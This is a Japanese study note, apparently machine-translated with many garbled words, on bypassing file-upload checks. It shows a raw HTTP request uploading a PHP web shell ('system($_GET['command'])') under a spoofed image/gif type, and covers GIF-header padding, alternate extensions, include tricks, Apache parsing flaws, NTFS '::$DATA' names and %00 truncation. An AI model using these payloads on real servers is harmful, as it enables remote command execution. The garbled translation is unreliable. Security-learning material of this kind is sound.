ファイルアップロードのバグ整理ノート

11010 ワード

ファイルアップロードの脆弱性
ファイルアップロードチェックの姿勢
  • クライアントjavascriptチェック(一般的には拡張子のみチェック)は、一般的には、ウェブページにJavascriptスクリプトを書いて、アップロードファイルの拡張子の名前を確認します.ホワイトリスト形式もブラックリスト形式もあります.判断方法:ブラウザでファイルをロードしますが、アップロードボタンをクリックしていない場合は、ダイアログが表示されます.例えば、アップロードのみ許可されます.jpg/.pngの拡張子のファイルは、この時はパケット
  • を送信していません.
  • サービスセグメントの検証
  • contentt-typeフィールドチェックここではPHPコードを例にとって、ウェブサーバ端のチェックコード
  • をシミュレートします.
    
    if($_FILES['userfile']['type'] != "image/gif")  #              ,    image/gif       。
        {   
         echo "Sorry, we only allow uploading GIF images";
         exit;
        }
        $uploaddir = 'uploads/';
        $uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
        
    if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile))
        {
        echo "File is valid, and was successfully uploaded.
    "
    ; } else { echo "File uploading failed.
    "
    ; } ?>
    コードが見られます.アップロードファイルのファイルタイプを判断しました.ピクチャタイプでなければ、エラーを返します.
  • ファイルヘッダ検証は、自分の書いた正則と一致することによって、ファイルヘッダの内容が要求に合致しているかどうかを判定し、例えば、
  • .JPEGJPE;JPG,「Exif」「JFIF」などの
  • .gif、「GIF 89 a」
  • .zip,「Zip Comppress」
  • .docxls;xlt;ppt;apper,「MS Compund Dcument v 1 or Lotus Aproach APRfile」
  • ファイルをアップロードし、チェックポーズをバイパスします.
  • クライアントがバイパスします.まずgifタイプの木馬をアップロードして、burpを通じてasp/php/jspの後綴り名に変更すればいいです.
  • ファイルタイプは回り道してもいいです.キャプチャによってcontent-typeフィールドをイメージ/gif
  • に変更できます.
    	POST /upload.php HTTP/1.1
    	TE: deflate,gzip;q=0.3
    	Connection: TE, close
    	Host: localhost
    	User-Agent: libwww-perl/5.803
    	Content-Type: multipart/form-data; boundary=xYzZY
    	Content-Length: 155
    	--xYzZY
    	Content-Disposition: form-data; name="userfile"; filename="shell.php"
    	Content-Type: image/gif ==(   Content-Type: text/plain)==
    	 system($_GET['command']);?>
    	--xYzZY-
    
  • ファイルのヘッダは木馬の内容の基礎の上でいくつかテキストの情報を加えて迂回して、少し下の構造に似ています.GIF 89 a
  • ファイルの拡張子の名前が迂回された前提:ブラックリストの検査:ブラックリストの検査:一般的に専用のblacklistファイルがあります.バイパス方法
  • ブラックリストの拡張子のネットの魚を探して、たとえば:asaとcerなどの
  • には、例えば、aspやpHpなどの解析可能なファイル拡張子リストがあります.jsp jspx jsp asp asa cer asp 2 php 3 php 4 exe
  • 準拠ファイルには脆弱性アップロード前提が含まれています.チェックルールは現在のファイルの内容が木馬迂回方式かどうかをチェックします.(phpを例にして)
  •  		  include("   txt    ")>
    
    この場合、このphpファイルはtxtファイルの内容を参照して、検証をバイパスします.
    		#php 
    		 include("   txt    ")>
    		#asp
    		<!-- #include file="   txt    " -->
    		#jsp
    		<jsp:inclde page="   txt    "/>
    		or  
    		<%@include file="   txt    "%>
    
  • は、サーバー解析の脆弱性をApache解析の脆弱性に合わせて、test.php.rarとAppheに解析されます.test.php(1)Appheのconfにこのような行が配置されていれば、ファイル名が含まれています.phpは、ファイル名がtest.ph.jpgであってもphpで実行されます.(2)AppheのconfにAddTypeアプリ/x-httpd-php.jpgというラインがあると、phpで実行できます.
  • オペレーティングシステムファイル命令規則(1)に合わせて、windowsファイル名規則に合わないファイル名をアップロードする.
  • test.asp.
  • test.asp(スペース)
  • test.php:1.jpg
  • test.php:$DATA
  • shell.php:$DATA...
  • windowsシステムによって自動的にルールに合わない記号の後ろの内容が取り除かれます.(2)linuxの下で、拡張子のサイズはlinuxに書いてあります.アップロードphpが解析されないなら、アップロードpHp拡張子を試してみてもいいです.
  • は、他の規則(1)0 x 00と連携して遮断する.1つの組合せ論理ホールに基づいて、通常はファイルパスを作成する時に存在する.
  • test.php(0 x 00).jpg
  • test.php%00.jpg
  • パス/uplload/1.php(0 x 00)、ファイル名1.jpg、結合/upload/1.php(0 x 00)/1.jpgダミーコードのデモンストレーション:
    	name= getname(httprequest) //              help.asp.jpg(asp     0x00)
    	type =gettype(name)        //   gettype()                 ,      jpg
    	if(type == jpg)
       	SaveFileToPath(UploadPath.name, name)   //        0x00        
    	//    help.asp      
    
    このような利用方法はphpバージョンが5.3.4以下のサーバーに限って、Magic_「te」gpcオプションがオフの場合は、ファイル名に%00を使って切断できます.